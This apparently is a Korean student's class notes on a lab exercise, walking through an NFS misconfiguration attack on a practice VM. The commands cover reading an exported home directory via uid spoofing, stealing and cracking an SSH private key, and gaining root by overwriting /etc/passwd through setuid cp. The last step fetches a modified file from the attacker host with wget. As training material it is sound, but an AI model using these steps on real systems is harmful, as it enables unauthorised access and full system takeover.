[normaltic 비기너 클래스 1기] 2023-09-20 Drill Course 2주차 내용 정리

2023. 9. 27. 02:43normaltic 비기너 클래스 1기/내용 정리

 

NFS(Network File System)

 

NFS란 네트워크 상에서 파일시스템을 공유하도록 설계된 파일 시스템을 뜻하며 마치 다른 서버의 디렉터리를 자신의 로컬 영역인 것처럼 네트워크를 이용하여 사용할 수 있다.

 

일반적으로 111번 포트에서 서비스하며 111번 포트가 열린 상태면 showmount 명령어를 사용하여 어떤 디렉터리가 NFS 서비스를 제공하는지 알아내고 클라이언트 측에서 mount 명령어를 사용하여 NFS 서비스를 제공하는 디렉터리에 mount 하여 이용 가능하다.

 

이러한 점이 취약점으로 작용하여 공격 받을 수 있기 때문에 NFS 서비스를 제공할 시 중요치 않은 디렉터리로 제한하거나 아예 NFS 서비스를 제공하지 않는 편이 좋다.

 

Task1을 통하여 실습

 

 

nmap -sn 192.168.74.1/24

 

Task1은 가상 머신이기 때문에 가상 머신을 등록하여 같은 해당 머신의 IP부터 스캔해야 한다. 같은 네트워크 대역대에 있기 때문에 IP를 스캔한 결과 192.168.74.130이라는 IP가 공격 대상의 주소인 것을 알 수 있다.

 

 

nmap -sCV 192.168.74.130 > scan_res
cat scan_res

 

공격대상의 IP주소를 이용하여 포트 스캔을 진행한다. 스캔 결과 22번, 80번, 111번 포트가 열려있는 것을 확인 할 수 있다. 일반적으로는 열려있는 포트에 대해 모두 정보 수집을 진행해야 하지만 이번 주차는 NFS 서비스 취약점을 사용한 실습이기 때문에 111번 포트를 공격한다. 111번 포트가 열려 있는 것을 확인했으므로 NFS 서비스를 제공하는 것을 알 수 있다.

 

 

showmount -e 192.168.74.130

 

showmount 명령어를 사용하여 공격대상의 시스템에서 NFS 서비스를 제공하는 디렉터리를 찾는다. 공격대상의 시스템에서 '/home/karl' 이라는 디렉터리가 현재 NFS 서비스를 제공하는 것을 확인할 수 있다. 

 

 

mkdir /tmp/test
mount 192.168.74.130:/home/karl /tmp/test
cd /tmp/test

 

공격대상의 공유 디렉터리와 동기화할 디렉터리가 필요하기 때문에 /tmp 디렉터리에 새로운 디렉터리를 만들어준다. /tmp 디렉터리에 새롭게 만들어주는 이유는 /tmp 디렉터리 내의 파일은 재부팅 시 모두 사라져 일회용으로 사용하기 좋기 때문이다. 'test'라는 이름의 디렉터리를 만들어준 후 공격대상의 공유 디렉터리와 mount 시킨다.

 

 

ls -al

 

mount 해준 후에 test 디렉터리에 들어가서 파일리스트를 출력해본 결과 익숙한 파일리스트를 볼 수 있다. 파일리스트를 보면 공유 디렉터리는 공격대상 시스템에 등록된 어떤 계정의 홈 디렉터리란 것을 알 수 있다. 

 

 

cd .ssh

 

홈 디렉터리에 .ssh 디렉터리가 있는 것으로 보아 개인키를 이용하여 공격대상의 시스템에 접속하는 시나리오를 생각해 볼 수 있다. 그래서 .ssh 디렉터리에 이동하려고 하는데 권한이 거부되었다. 다시 보니 해당 디렉터리에 접속하려면 uid가 1001인 계정만 접근 가능하다. 그렇다면 uid가 1001인 계정을 생성한 후 그 계정으로 들어가 보자.

 

 

useradd test --uid 1001
su test
id
ls -al
cat id_rsa.pub

 

uid가 1001인 test라는 계정을 생성한 후 test 계정으로 전환하여 .ssh 디렉터리에 접근하였다. 이제 어떤 유저의 홈 디렉터리인지 확인하기 위해 id_rsa.pub 파일의 내용을 출력한 결과 karl이라는 계정의 홈 디렉터리인 것을 확인할 수 있었다.

 

 

cp ./id_rsa /tmp/id_rsa
cd /tmp
chmod 777 id_rsa
ls -al

 

karl이라는 계정의 홈 디렉터리인 것을 확인했으니 karl이라는 계정으로 공격대상의 시스템에 접속하기 위해 개인키를 /tmp 디렉터리에 복사 후 권한을 변경해주었다.

 

 

cp /tmp/id_rsa ./sshkey
chmod 600 sshkey
ssh -i sshkey karl@192.168.74.130

 

/tmp 디렉터리에 복사된 id_rsa파일을 다시 drill_2_1 디렉터리에 복사 후 다시 권한을 부여하였다. 그리고 ssh로 접속을 시도했더니 passpharse가 걸려있었다.

 

 

ssh2john sshkey > sshkey_hash
john --wordlist=/usr/share/wordlists/rockyou.txt sshkey_hash

 

passpharse를 크래킹 하기 위해 sshkey를 john the ripper에 적합한 형태로 만들어 준 후 크래킹을 진행하였다. 크래킹 결과 'sheep'이라는 passpharse를 가지고 있었다.

 

 

ssh -i sshkey karl@192.168.74.130
id
pwd

 

karl 계정으로 접속 시도했더니 정상적으로 접속하였다.

 

 

sudo -l
find / -perm -4000

 

공격대상의 쉘을 얻었으니 이제 권한 상승 차례이다. 공격대상의 쉘을 획득한 후 우선적으로 확인해 볼 것이 있다. sudo 명령어가 존재하는지, 해당 시스템에 setuid 권한이 부여된 파일이 존재하는지다. sudo 명령어는 본 계정에는 존재하지 않는 걸로 확인이 되었고, setuid 권한이 걸려있는 파일들을 찾아보니 /bin/mount, /bin/ping, /bin/cp, /bin/umount, /bin/su 파일이 setuid 권한이 걸려있다.

 

이중 /bin/cp파일이 setuid가 걸려있는 것을 알 수 있는데 이는 곧 cp 명령어를 root 권한으로 사용할 수 있다는 뜻이다. 그렇다면 이를 이용하여 공격대상 시스템의 /etc/passwd 파일에 root권한을 가진 계정을 입력한 파일을 덮어씌우는 시나리오를 생각해 볼 수 있다.

 

 

cp /etc/passwd ./
ls -al

 

cp 명령어를 사용하여 /etc/passwd를 홈 디렉터리에 복사하였다. 그러나 해당 파일을 수정하려면 root 권한이 필요하다. 공격대상 시스템에서 root 권한을 이용하여 수정할 수는 없으니 여기서 NFS 서비스를 다시 활용해 볼 수 있다. 공격자 시스템에서는 root 권한을 이용할 수 있는 점을 활용하여 공격자 시스템에서 파일을 수정해 주면 된다. 

 

 

mkpasswd --method=SHA-512 --stdin

 

수정하기 전에 현재 공유 디렉터리는 읽기 전용이기 때문에 공유 디렉터리에서는 수정하지 못한다. 그래서 해당 파일을 다른 디렉터리로 옮겨서 파일 수정 후에 공격대상 시스템에서 수정된 파일을 다운로드하는 방법으로 진행한다. 우선 계정 정보를 추가하기 위해 SHA형식으로 이루어진 비밀번호를 생성해 준 후 입력한다.

 

 

[공격자 컴퓨터]
python3 -m http.server 445
[공격대상 컴퓨터]
wget http://192.168.74.129:445/passwd
ls -al
cp passwd /etc/passwd
cat /etc/passwd

 

수정해 준 passwd 파일을 공격자 컴퓨터에서 서버를 열어준 후 공격대상 컴퓨터에서 다운로드 받아준다. 그리고 cp 명령어를 사용하여 수정해준 passwd 파일을 /etc/passwd 파일에 덮어 씌어준다. /etc/passwd 파일의 내용을 출력하여 성공적으로 복사가 이루어진 것을 확인해 준다.

 

 

su test
id

 

새로 추가된 test 계정으로 전환하여 root 권한을 사용할 수 있는 것을 확인한다.